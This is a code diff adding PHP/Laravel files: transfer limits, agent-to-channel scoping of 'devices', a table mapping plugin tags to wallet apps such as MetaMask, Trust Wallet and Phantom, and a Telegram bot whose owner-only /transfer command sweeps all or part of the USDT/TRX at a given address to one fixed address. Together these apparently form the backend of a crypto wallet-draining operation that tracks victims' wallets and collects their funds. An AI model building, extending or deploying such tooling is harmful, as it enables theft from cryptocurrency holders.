throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
|
||||
$max = (string) config($maxKey, '0');
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
|
||||
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
|
||||
final class AgentScope
|
||||
{
|
||||
/**
|
||||
* Channel IDs owned by the agent (empty list means no access).
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function channelIdsFor(?User $agent): array
|
||||
{
|
||||
if ($agent === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->pluck('channel_id')
|
||||
->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* Restrict a devices query (or anything with devices.channel_id) to an agent.
|
||||
* Admin passes null agent → no restriction.
|
||||
*/
|
||||
public static function applyDeviceChannelScope(Builder $query, ?User $agent, string $channelColumn = 'devices.channel_id'): Builder
|
||||
{
|
||||
if ($agent === null) {
|
||||
return $query;
|
||||
}
|
||||
|
||||
$ids = self::channelIdsFor($agent);
|
||||
if ($ids === []) {
|
||||
return $query->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $query->whereIn($channelColumn, $ids);
|
||||
}
|
||||
|
||||
public static function applyAgentUserFilter(Builder $devicesQuery, ?int $agentUserId): Builder
|
||||
{
|
||||
if ($agentUserId === null || $agentUserId <= 0) {
|
||||
return $devicesQuery;
|
||||
}
|
||||
|
||||
$ids = Channel::query()
|
||||
->where('user_id', $agentUserId)
|
||||
->pluck('channel_id')
|
||||
->all();
|
||||
|
||||
if ($ids === []) {
|
||||
return $devicesQuery->whereRaw('1 = 0');
|
||||
}
|
||||
|
||||
return $devicesQuery->whereIn('devices.channel_id', $ids);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* Map plugin short tag payload `a` → human wallet name.
|
||||
*/
|
||||
final class WalletSource
|
||||
{
|
||||
/** @var array<string, string> */
|
||||
private const TAGS = [
|
||||
'b' => 'imToken',
|
||||
'b1' => 'imToken',
|
||||
'p' => 'Global Wallet',
|
||||
'd' => 'Trust Wallet',
|
||||
'r' => 'Bitpie',
|
||||
'q' => 'Coin98',
|
||||
'e' => 'Coinbase Wallet',
|
||||
'k' => 'Exodus',
|
||||
'm' => 'Krystal',
|
||||
'a' => 'MetaMask',
|
||||
'a1' => 'MetaMask',
|
||||
'j' => 'MyTonWallet',
|
||||
'i' => 'Phantom',
|
||||
'l' => 'Ronin',
|
||||
'n' => 'Tonhub',
|
||||
'g' => 'Tonkeeper',
|
||||
'h' => 'Uniswap',
|
||||
'h1' => 'Uniswap',
|
||||
't' => 'OKX',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
{
|
||||
if (! is_string($tag) || $tag === '') {
|
||||
return 'unknown';
|
||||
}
|
||||
$key = strtolower(trim($tag));
|
||||
|
||||
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
||||
}
|
||||
|
||||
/**
|
||||
* Infer chain type from address when plugin omits chainType.
|
||||
*/
|
||||
public static function inferChainType(string $address): string
|
||||
{
|
||||
$address = trim($address);
|
||||
if ($address === '') {
|
||||
return 'unknown';
|
||||
}
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
||||
return 'TRON';
|
||||
}
|
||||
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
|
||||
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
|
||||
return 'BSC';
|
||||
}
|
||||
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
|
||||
// Solana-like base58
|
||||
return 'SOLANA';
|
||||
}
|
||||
if (preg_match('/^EQ|^UQ/i', $address)) {
|
||||
return 'TON';
|
||||
}
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Format raw on-chain integer by decimal; pass through already-decimal strings.
|
||||
*/
|
||||
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
|
||||
{
|
||||
if ($raw === null || $raw === '') {
|
||||
return 0;
|
||||
}
|
||||
$rawStr = trim((string) $raw);
|
||||
if ($rawStr === '') {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Already human-readable (contains decimal point) — keep numeric value.
|
||||
if (str_contains($rawStr, '.')) {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
if ($decimal === null || $decimal === '') {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
$dec = (int) $decimal;
|
||||
if ($dec <= 0) {
|
||||
return self::normalizeNumber($rawStr);
|
||||
}
|
||||
|
||||
if (! function_exists('bcdiv')) {
|
||||
$value = ((float) $rawStr) / (10 ** $dec);
|
||||
|
||||
return self::normalizeNumber((string) $value);
|
||||
}
|
||||
|
||||
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
|
||||
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
||||
if ($formatted === '' || $formatted === '-0') {
|
||||
$formatted = '0';
|
||||
}
|
||||
|
||||
return self::normalizeNumber($formatted);
|
||||
}
|
||||
|
||||
private static function normalizeNumber(string $value): int|float|string
|
||||
{
|
||||
if (! is_numeric($value)) {
|
||||
return $value;
|
||||
}
|
||||
if (str_contains($value, '.')) {
|
||||
$f = (float) $value;
|
||||
|
||||
return $f == (int) $f ? (int) $f : $f;
|
||||
}
|
||||
// large integers stay as string if beyond PHP int
|
||||
if (strlen(ltrim($value, '+-')) > 18) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (int) $value;
|
||||
}
|
||||
|
||||
public static function nativeSymbolForChain(string $chainType): string
|
||||
{
|
||||
return match (strtoupper($chainType)) {
|
||||
'TRON', 'TRX' => 'TRX',
|
||||
'BITCOIN', 'BTC' => 'BTC',
|
||||
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
||||
'SOLANA', 'SOL' => 'SOL',
|
||||
'TON' => 'TON',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
default => strtoupper($chainType) ?: 'UNKNOWN',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class PingCommand
|
||||
{
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$bot->sendMessage('pong');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Services\TransferService;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TransferCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TransferService $transfers,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, string $args): void
|
||||
{
|
||||
$parts = preg_split('/\s+/', trim($args)) ?: [];
|
||||
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
|
||||
|
||||
if ($parts === []) {
|
||||
$bot->sendMessage(
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
|
||||
."Omit amount to transfer all. Default asset: USDT.\n"
|
||||
.'To = TRANSFER_TO_ADDRESS (env).'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$from = $parts[0];
|
||||
$asset = 'USDT';
|
||||
$amount = null;
|
||||
|
||||
if (count($parts) === 2) {
|
||||
$second = strtoupper($parts[1]);
|
||||
if (in_array($second, ['TRX', 'USDT'], true)) {
|
||||
$asset = $second;
|
||||
} elseif ($this->isAmount($parts[1])) {
|
||||
$amount = $parts[1];
|
||||
} else {
|
||||
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
|
||||
|
||||
return;
|
||||
}
|
||||
} elseif (count($parts) >= 3) {
|
||||
$asset = strtoupper($parts[1]);
|
||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $this->isAmount($parts[2])) {
|
||||
$bot->sendMessage('Invalid amount.');
|
||||
|
||||
return;
|
||||
}
|
||||
$amount = $parts[2];
|
||||
}
|
||||
|
||||
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
|
||||
|
||||
$result = $this->transfers->handle('tron', $from, $amount, $asset);
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'✅ Transfer submitted',
|
||||
'From: '.$result['from'],
|
||||
'To: '.$result['to'],
|
||||
'Amount: '.$result['amount'].' '.$result['asset'],
|
||||
'TxID: '.$result['txid'],
|
||||
]));
|
||||
}
|
||||
|
||||
private function isAmount(string $value): bool
|
||||
{
|
||||
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class AuthorizedChat
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$expected = (string) config('coruna.telegram.owner_chat_id', '');
|
||||
if ($expected === '') {
|
||||
Log::warning('telegram AuthorizedChat: TELEGRAM_OWNER_CHAT_ID empty');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$chatId = $bot->chatId();
|
||||
if ($chatId === null || (string) $chatId !== $expected) {
|
||||
Log::info('telegram AuthorizedChat: chat rejected', [
|
||||
'chat_id' => $chatId,
|
||||
'expected' => $expected,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
|
||||
class GroupAdminOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$chatId = $bot->chatId();
|
||||
$userId = $bot->userId();
|
||||
if ($chatId === null || $userId === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
$member = $bot->getChatMember($chatId, $userId);
|
||||
} catch (\Throwable) {
|
||||
$bot->sendMessage('⛔ Unable to verify admin status.');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$status = $member?->status;
|
||||
$ok = $status === ChatMemberStatus::CREATOR
|
||||
|| $status === ChatMemberStatus::ADMINISTRATOR
|
||||
|| $status === 'creator'
|
||||
|| $status === 'administrator';
|
||||
|
||||
if (! $ok) {
|
||||
$bot->sendMessage('⛔ Only group admins can use this command.');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user